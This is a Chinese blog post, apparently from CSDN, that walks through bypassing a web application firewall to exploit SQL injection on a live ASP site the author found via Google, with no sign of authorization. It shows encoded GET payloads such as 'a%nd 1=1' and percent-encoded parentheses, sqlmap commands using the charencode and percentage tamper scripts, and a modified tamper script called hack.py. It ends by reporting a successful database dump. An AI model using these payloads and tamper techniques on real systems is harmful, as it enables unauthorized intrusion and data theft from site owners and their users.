【滲透實戰】sqlmap_修改tamper腳本_繞過WAF_第二期

作者:Kali_MG1937
CSDN博客:ALDYS4
QQ:3496925334
未經許可,禁止轉載

老樣子,google了一個asp注入點
但有waf,攔截關鍵字
在這裏插入圖片描述

嘗試繞過

GET 結果
.asp?id=1 and true# 攔截
.asp?id=1 %61nd true# 不攔截

對關鍵字中的部分字符進行Unicode編碼成功繞過
利用charencode.py腳本帶入sqlmap
sqlmap -u url --tamper=charencode.py -v 3
可是沒有跑出注入點來
查看debug日誌
在這裏插入圖片描述
返回的狀態碼全是999
明顯是被攔截了
奇怪,爲什麼剛纔對關鍵字編碼沒有攔截

進行手工注入分析原因
把and這個關鍵字進行編碼

GET 結果
.asp?id=1 %61%6e%64 true# 被某主機waf攔截!

以此推測
很可能waf對unicode敏感,所以第一次繞過時只對關鍵字中的一部分進行編碼,waf中配置的正則規則就無法匹配到關鍵字
如果關鍵字全部使用unicode編碼,waf中專門匹配unicode關鍵字的正則規則就能匹配到危險字符

再次嘗試繞過

既然waf規則對unicode敏感,僅僅編碼其中一個關鍵字就無法匹配,那麼很可能這個waf也有其他缺陷
我們已經知道此網站的web應用爲ASP.NET,那麼我們是否可以利用這個應用的特性來調戲waf呢?
已知此web應用在接收請求時,會把無用的%過濾掉
那麼,在關鍵字中摻雜無用的百分號,waf是否可以匹配得到呢?

GET 結果
.asp?id=1 a%nd 1=1 SQL語句成功查詢

在這裏插入圖片描述
成功繞過!
sqlmap -u url --tamper=percentage.py
仍然有999的狀態碼返回,又被攔截了
在這裏插入圖片描述
是的,還有括號被攔截了
但經過多次測試證明只要對括號進行編碼就能繞過waf
可percentage.py和charencode.py一起使用會使payload變成下面這樣

預想的payload 在同時使用這兩個腳本時
a%n%d 1=%u0028%1%%u0029 a%25n%25d 1=%25u0028%251%25u0029

是的,這樣的payload根本無法被服務器處理
那麼只能對tamper腳本進行修改

修改腳本

我選取percentage.py這個腳本進行修改
通讀這個腳本,是把payload拆分成一個個獨立的字符
對每個字符進行判斷,然後再在字符後加上%
在這裏插入圖片描述
只需向裏面再插入幾個判斷:
如果字符是(就替換成%28
如果是)就替換成%29
保存爲 hack.py

開始注入

直接在參數裏帶上這個腳本
在這裏插入圖片描述
跑出注入點
在這裏插入圖片描述
在這裏插入圖片描述
爆庫成功
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章